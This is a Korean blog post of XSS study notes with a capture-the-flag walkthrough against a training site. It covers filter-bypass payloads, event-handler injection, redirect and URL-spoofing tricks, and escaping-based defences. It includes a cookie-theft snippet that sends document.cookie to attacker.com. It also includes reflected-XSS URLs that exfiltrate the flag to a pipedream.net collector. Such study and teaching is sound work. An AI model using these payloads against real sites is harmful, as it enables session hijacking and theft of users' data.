XSS Exploits in JS

d4r6j·2025년 6월 25일

hack

목록 보기
11/11
post-thumbnail

Review

XSS (Cross Site Scripting)

  • Client 측에서 실행될 수 있는 스크립트를 삽입하여 실행하게 하는 공격.
  • Client 측 script 를 삽입하는 공격.
  • Client 측 기기 (단말기) 에서 script 가 실행되게 하는 공격.

어떻게 client 에게 script 를 전달하느냐 3 가지 전략.

  1. Stored XSS : 게시판.
  2. Reflected XSS : 검색 기능.
    • GET Method 를 사용, URL 을 전달하는 방식으로 공격
  3. DOM Based XSS : 서버에서 삽입되어 오는 것이 아닌, client 측에서 조립.
      http://test.com/search=test#
    • URL # 포함 이후는 서버에 전달되지 않는다. browser 측에서 자른다.

cookie 값을 가져오는, cookie 탈취하는 방법.

  • <script> tag 안에서 cookie 에 접근하려면

    // 공격자 웹 서버로 데이터를 보내는 방법
    // 공격자 웹 서버로 데이터를 보내는 방법
    <script>
    var = cookieData = document.cookie;
    var i = new Image();
    i.src = "http://attacker.com/" + cookieData;
    </script>
    
    // browser 입장에서는 image tag 이므로 그림을 넣는다.
    // cookie 값이 붙어서 파일 주세요! 라는 기능이 넣어진다.
    // 공격자의 웹 서버에서 요청을 보니 cookie data 가 날아온다.
    <img src="http://attacker.com/(cookieData)">
    • document 라는 객체 안에 cookie 라는 값이 있다.
    • 이 cookie 값은 URL 의 domain 에 속해 있다.
      • www.google.com
      • www.naver.com
    • 이 두 domain 은 별도의 cookie 를 이용하고 있다.
    • 공격자 page, 다른 domain 을 사용하여 cookieSteal.php 를 만들어 탈취가 불가능하다.

XSS 대응 방안.

  • filtering 은 오답이다. → 사용자의 입력을 제한하게 된다.
    • blacklist 기반 filtering ( 우회가 될 가능성이 존재 )
      특정 단어를 못 들어오게 하는 것.

      /* blacklist 우회 예시 */
      
      // 길이 제한 이라면
      <script src="http://attack.com/cookieSteal.php"></script>
      
      // <script> -> <> 로 필터링 될 경우
      <scrscriptipt></scrscriptipt>
      
      // script -> xript : img tag 등으로 바꿔서 공격
      <img src=x onerror="alert(1)">
      
      // script 단어를 확인 후 필터링 이라면
      <ScRipT></ScrIpT>
      
    • whitelist 기반 filtering
      특정 단어만 들어오게 하는 것.

    자유도를 주는 입력 공간 (예를 들어 게시판 같은 경우) 에서 filtering 은 문제가 생긴다.

image tag

// image 를 x 라는 경로에 들어가서 이미지를 가져와서 화면에 뿌려준다.
// x 의 image 파일은 없을 것이어서 404 not found 가 떨어지게 된다.
<img src=x onerror="alert(1)">

XSS 테스트 해보기 위해서는, 메모장에 위 내용을 저장한 후에 실행.

  • Local PC 여서 FILE_NOT_FOUND 가 뜨고, Server 라면 404 Error 가 뜬다.
  • Event handler 를 활용할 수도 있다. onerror 등.
이벤트 핸들러설명
onload페이지 또는 리소스가 로드되었을 때 실행됨 (예: 이미지, iframe 등)
onerror리소스 로딩 실패 시 실행됨 (예: 이미지 경로 오류 등)
onclick요소를 클릭할 때 실행됨
ondblclick요소를 더블 클릭할 때 실행됨
onmouseover마우스가 요소 위로 올라갔을 때 실행됨

href

  • 경로를 지정할 때 사용. location.href
<a href="">TEST</a>

// reflected XSS
// anchor tag click 시, 여기 적혀져 있는 주소로 page 가 이동.
<a href="javascript:alert(1)">TEST

anchor tag 에 script 를 삽입할 수도 있다.

직접 javascript 를 실행할 수 있다. 이것을 이용하여 anchor tag 안에서도 javascript 를 삽입 할 수 있다.

<, >

  • HTML entity 로 치환되는 등 <, > 를 못 쓰는 경우가 있다.
// var data = "____"; 라고 할 때,
// ";alert(1);var a = " 를 입력 하면
<script>
    (이 안에는) alert(1); (를 써주면 된다.)
    var data = "";
    alert(1);
    var a = "";
</script>
// 이런 형태로 trick 를 써서 문법에 맞게 맞춘다.

input tag XSS

input tag 에서도 XSS 가 일어날 수 있다.

<input type="text" value="d4r6j">

input tag 의 보통 value 에 입력한 데이터가 들어가는 경우가 많다. 그런 경우 활용하는 방법.

  • onmouseover

    <input type="text" onmouseover="alert(1)">
    • input text 창에 mouse 를 올리는 순간, javascript 가 실행 되게 한다.
    • 마우스를 움직여 input 창에 올리는 개입이 있어야 한다.
  • onfocus

    <input type="text" onfocus="alert(1)">
    • input text 창에 cursor 가 들어가 있어야 alert 이 실행된다.
    • cursor 가 들어가는, 즉 마우스를 클릭하는 개입이 있어야 한다.
  • autofocus onfocus

    <input type="text" autofocus onfocus="alert(1)">
    • autofocus 는 자동으로 이 page 가 load 되자마자 focusing 이 되어 alert 이 실행된다.
  • XSS cheat sheet
    https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
    즉, blacklist 기반의 filtering 은 우회가 가능하고 한계가 있다.

HTML entity

완벽하게 차단하는 방법으로 HTML 특수 문자를 HTML Entity 로 전부 치환.
<, >, ", '
적어도 이 4 가지만 처리해도, XSS 취약점에서 자유로울 수 있다.

  • HTML entity 로 치환하지 못하는 곳이 있다 : HTML editor
    직접 HTML 코드를 작성해서 넣을 수 있는 곳, 예를 들어Tistory 같은 경우.

HTML editor 에 HTML Entity 로 변경 될 경우, HTML Entity 로 저장되므로 문제가 생긴다.

HTML editor 에 javascript 를 삽입할 수 있을 때,

  • 사람들이 HTML editor 를 잘 사용하지 않으면 기능 삭제를 한다.

  • HTML editor 를 잘 사용해서 삭제가 불가능 하다면

    1. 사용자의 입력 파라미터에서 HTML 특수 문자들을 전부 HTML entity 로 치환한다.
      Ex : &lt;img&gt;

    2. 허용해줄 tag 를 식별하고 그 tag 를 다시 살린다. whitelist 기반 tag 로 설계한다.
      Ex : [허용] <img>, <a>, <h1>, ... [미허용] <script> 등..

    3. 살려준 tag 내에 악의적인 event Handler 가 있는지 blacklist 기반으로 필터링한다.
      Ex : onerror, onload 등의 기능이 여기에는 필요하지 않아서 필터링하여 제거한다.

이 3 단계를 거쳐서 대응해야 한다.

  • Example
    <img src="http://attacker.com/bad.js" onerror=alert(1)>
    에서는 srcjs 는 문제가 없으나, onerror 는 악의적으로 script 실행이 될 수 있으므로 onerror 를 필터링을 걸어 보완한다.

client script

javascript 를 넣을 수 있다고 가정하자.

Page Redirect

  • XSS 에서 cookie 를 탈취하고 나서 이 page 를 다른 page 로 바꾸게 하고 싶다.
<script>
    location.href = "";
</script>

location.href="https://www.google.com"

즉, 공격자의 page 로 redirection 을 시킬 수 있다.
location.href, location.replace 는 무엇인가?

  • 주소창에 있는 주소를 가져오게 되는 것. 따라서 그 주소창에 공격자의 페이지를 덮어 씌우면 그 페이지로 이동하게 된다.
location.href="https://www.google.com"
location.replace("https://www.google.com")

를 사용하면 같은 결과를 볼 수 있다. 차이는 변수와 함수의 차이.

항목location.hreflocation.replace()
페이지 이동 방식링크 클릭처럼 이동현재 페이지를 대체
브라우저 히스토리기록됨기록 안 됨
뒤로가기 가능 여부가능불가능 (건너뜀)

url spoofing

주초상의 이름을 다른 글자로 변경이 가능하다.

<script>
    history.pushState(null, null, 'test')
</script>

https://shopping.naver.com/ns/home 에서 home 을 위 script 사용시

  • https://shopping.naver.com/ns/text 처럼 test 로 바뀌게 된다.
  • 도메인은 바꿀 수 없고, 뒤의 주소는 바꿀 수 있다.

javascript 를 삽입했는데, Reflected XSS 방식이어서 주소가 굉장히 길어지면, login.php 로 바꿔서 속일 수 있거나 등으로 주소창을 바꿀 수 있다.

DOM object

javascript 로 DOM 객체에 접근하는 방법.

  • 웹 페이지 내에서의 글자를 뽑아올 수 있을까? 객체에 접근하는 구조 확인.
  • javascript 에서 HTML page 에 접근할 때에는 무조건 document 객체를 사용.
  • 테스트할 DOM object
  • 상품명 또는 브랜드 입력 을 찍어보면

    이 object 의 tag 에 javascript 로 접근해 보겠다.
<html>
<h1 id="name" class="NameClass"></h1>
</html>
  • id 속성 : html tag 안에서 id 는 유일하다.
  • class 속성 : 분류, 그룹을 묶는 것이므로 같은 이름이 존재한다.

  • id 로 가져오기 : document.getElementById('input_text') 로 consol 조회 시 같은 결과가 나온다.

  • class 로 가져오기 : document.getElementsByClassName('_ac_input _searchInput_input_text_4wsVI _nlog_click') 로 조회 시

한 개 조회로 0 번째가 나올 것이고, document.getElementsByClassName('_ac_input _searchInput_input_text_4wsVI _nlog_click')[0] 0 번째를 tracking 하면 같은 결과가 나온다.

document.getElementById('input_text').id
'input_text'
document.getElementById('input_text').type
'text'
document.getElementById('input_text').className
'_ac_input _searchInput_input_text_4wsVI _nlog_click'
document.getElementById('input_text').placeholder
'상품명 또는 브랜드 입력'
document.getElementById('input_text').innerHTML
''

innerHTML : tag 안에 있는 것을 가져올 수 있다. 글자면 글자, tag 면 tag.

basic script prac

  • 가정
    관리자 계정으로 접속하면 “Flag Here…!” 안에 flag 가 들어있다.
    위의 개인정보 페이지에 Reflected XSS 취약점이 일어난다고 가정한다.

  • 방법

    • link 를 던졌을 때, 관리자가 이 link 를 click 해서 들어오면 alert 이 뜰 때, javaascript 를 실행할 수 있다.
    • 개인정보 창에서 일어나므로, 그 안에 있는 개인정보도 steal 할 수 있다.
      ( 여기선 Flag Here..! 를 javascript 로 가져오는 것 부터 하자. )
    http://ctf.segfaluthub.com:4343/scriptBasic/mypage.php?user=d4r6j

    user parameter 에 script 를 삽입할 수 있다. 관리자가 접속했을 때, "Flag Here..!" 값을 가져오면 된다.

  1. console 에서 값 나오게 js 를 확인.
  • console 창에서 실행시
    > document.getElementsByName('info')[0].getAttribute('placeholder') // 속성 값
    > document.getElementsByName('info')[0].placeholder // 둘다 동일.
    < 'Flag Here..!'
    > console.log(document.getElementsByName('info')[0].placeholder)
    < Flag Here..!
  1. link 를 만들어서 consol 창에 원하는 값이 나오는지 확인.
  • <, ', ", > 확인.

    // 주소창에 요청
    http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=d4r6j<'">

    문제 없는지 확인. 나오긴 하는데, placeholder=" 의 끝을 맞추고 스크립트는 뒤로 빼는게 좋겠다. 마지막의 "/> 는 포함 시키자.

  • alert(1) 띄워보기.

    // Burp-Suite 의 Copy URL 을 사용.
    GET /scriptBasic/mypage.php?user="/><img+src=x+onerror="alert(1) HTTP/1.1
    // 주소창에 바로 요청 해도 된다.
    http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=d4r6j"/><img+src=x+onerror="alert(1)

  • script 삽입

    <img src=x onerror="var flagData=document.getElementsByName('info')[0].placeholder; console.log(flagData)"/>
  • URL 생성

    // 주소창에 요청됨 (Copy URL 사용)
    http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=d4r6j"/><img+src=x+onerror="var+flagData=document.getElementsByName('info')[0].placeholder;console.log(flagData);

  1. <script> tag
    <script> tag 를 썼다면 조심해야 한다.
  • 일반적으로는

    GET /scriptBasic/mypage.php?user=d4r6j"><script>alert(1)</script><" HTTP/1.1

    이와 같이 alert(1) 을 넣을 수 있다.

    var+flagData=document.getElementsByName('info')[0].placeholder;console.log(flagData);

    마찬가지로 document.(tag) ... 로 넣을 수 있다.

    하지만 성격이 좀 다르다. html tag 안에 script tag 가 있는데, 언제 실행하는지 시점을 알아야 한다.

    <html>
    
    <script>
        document.getElementsByName('info')[0].placeholder;console.log(flagData);
    </script>
    
    </html>

    이런 형태일 듯 한데, 분명

    input tag 등 다른 여러 tag 안에 썼다. 더군다나

    첫 번째 line 에서 script tag 를 실행 시켜 값을 가져오게 되는데, 실제 값은 두 번째 line 인 Flag Here..! 가 rendering 되고 나서 이므로 아직 page 가 다 load 되지 않은 상태에 값을 가져오려고 한다.

  • 따라서 placeholder 가 undefined 되어 있다. 정의되기 전 실행을 먼저 하였기 때문이다.

  • script tag 를 사용하고 싶으면, page 가 load 되고 난 다음에 script 가 실행되게 만들어주어야 한다.

    <script>
    window.addEventListener('DOMContentLoaded', function(){
        // 실행 코드
    });
    </script>
    • POST

      POST /scriptBasic/mypage.php HTTP/1.1
      ...
      
      user=d4r6j"><script>window.addEventListener('DOMContentLoaded', function(){var flagData=document.getElementsByName('info')[0].placeholder;console.log(flagData);});</script><"
    • GET

      GET /scriptBasic/mypage.php?user=d4r6j"><script>window.addEventListener('DOMContentLoaded',+function(){var+flagData=document.getElementsByName('info')[0].placeholder;console.log(flagData);});</script><" HTTP/1.1

    이로 인하여 Flag Here..! 가 console.log 로 올라오게 된다. javascript 가 실행하는 시점이 내가 생각하는 시점과 다를 수 있다.

  1. input autofocus
  • autofocus onfocus

    <input type="text" autofocus onfocus="alert(1)">
    • autofocus 는 자동으로 이 page 가 load 되자마자 focusing 이 되어 alert 이 실행 된다.
  • script 삽입

    <input type="text" autofocustext" 로 따로 만들면 칸의 유지가 되지 않는다.

    기존에 있던 input name = 'id' 를 이용하여

    autofocus onfocus="var flagData=document.getElementsByName('info')[0].placeholder; console.log(flagData)"/>

    로써 깔끔하게 잡아낸다.

  1. VPS 연결
  • payload

    var flagData = document.getElementsByName('info')[0].placeholder;
    var i = new Image();
    i.src = 'https://eom283a3h0fiohp.m.pipedream.net?flag=' + flagData
    var+flagData=document.getElementsByName('info')[0].placeholder;var+i=new+Image();i.src='https://eom283a3h0fiohp.m.pipedream.net?flag='+%2B+flagData
  • onfocus 이용

    http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=d4r6j"+autofocus+onfocus="var+flagData=document.getElementsByName('info')[0].placeholder;var+i=new+Image();i.src='https://eom283a3h0fiohp.m.pipedream.net?flag='+%2B+flagData"/>
  • onerror 이용

    http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=d4r6j"/><img+src=x+onerror="var+flagData=document.getElementsByName('info')[0].placeholder;var+i=new+Image();i.src='https://eom283a3h0fiohp.m.pipedream.net?flag='+%2B+flagData

iframe & DOM

XSS 를 발견 했는데, 개인 정보가 출력되는 곳에서 Reflected XSS 가 나왔다면, 이와 같은 공격 시나리오도 생각해 볼 수 있다.

A page 에서 reflected XSS 가 나오면 좋지만, 다른 B page 에서 XSS 가 나온다고 가정한다. 공격자는 A page 에 들어가서 정보를 가져오고 싶다.

  1. redirection 하면 page 가 바뀌어 javascript 가 모두 초기화된다.
  2. cookie 탈취가 안된다면, iframe 을 이용하여 가능하게 할 수 있다.
  3. 현재 page 에서 다른 page 를 하나 더 넣을 수 있다.
  4. 여기에 있는 document object 에 접근해서 가져오면 된다.
<iframe src="http://.../mypage.php" id="targetFrame"></iframe>

<script>
var targetTag = document.getElementById('targetFrame')

var DOMData = targetTag.contentDocument;
</script>
  • iframe 을 가져오기 위해서는 id 식별 값을 넣는다.
    document.getElementById('targetFrame')
    을 가져올 수 있다.
  • 데이터를 targetTag 로 가져온다.
  • iframe 안에도 document object 가 따로 있으므로, 거기에 접근하기 위해서는
    var DOMData = targetTag.contentDocument;
  • DOMData 는 document object 가 되고
    DOMData.getElementById
    를 이용하여 iframe 안의 DOM object 안의 필요한 정보에 접근 할 수 있다.

XSS 로 Cookie 를 가져오고, 그 web page 에서 필요 정보를 빼와서 활용하는 방법이 좋다.

0개의 댓글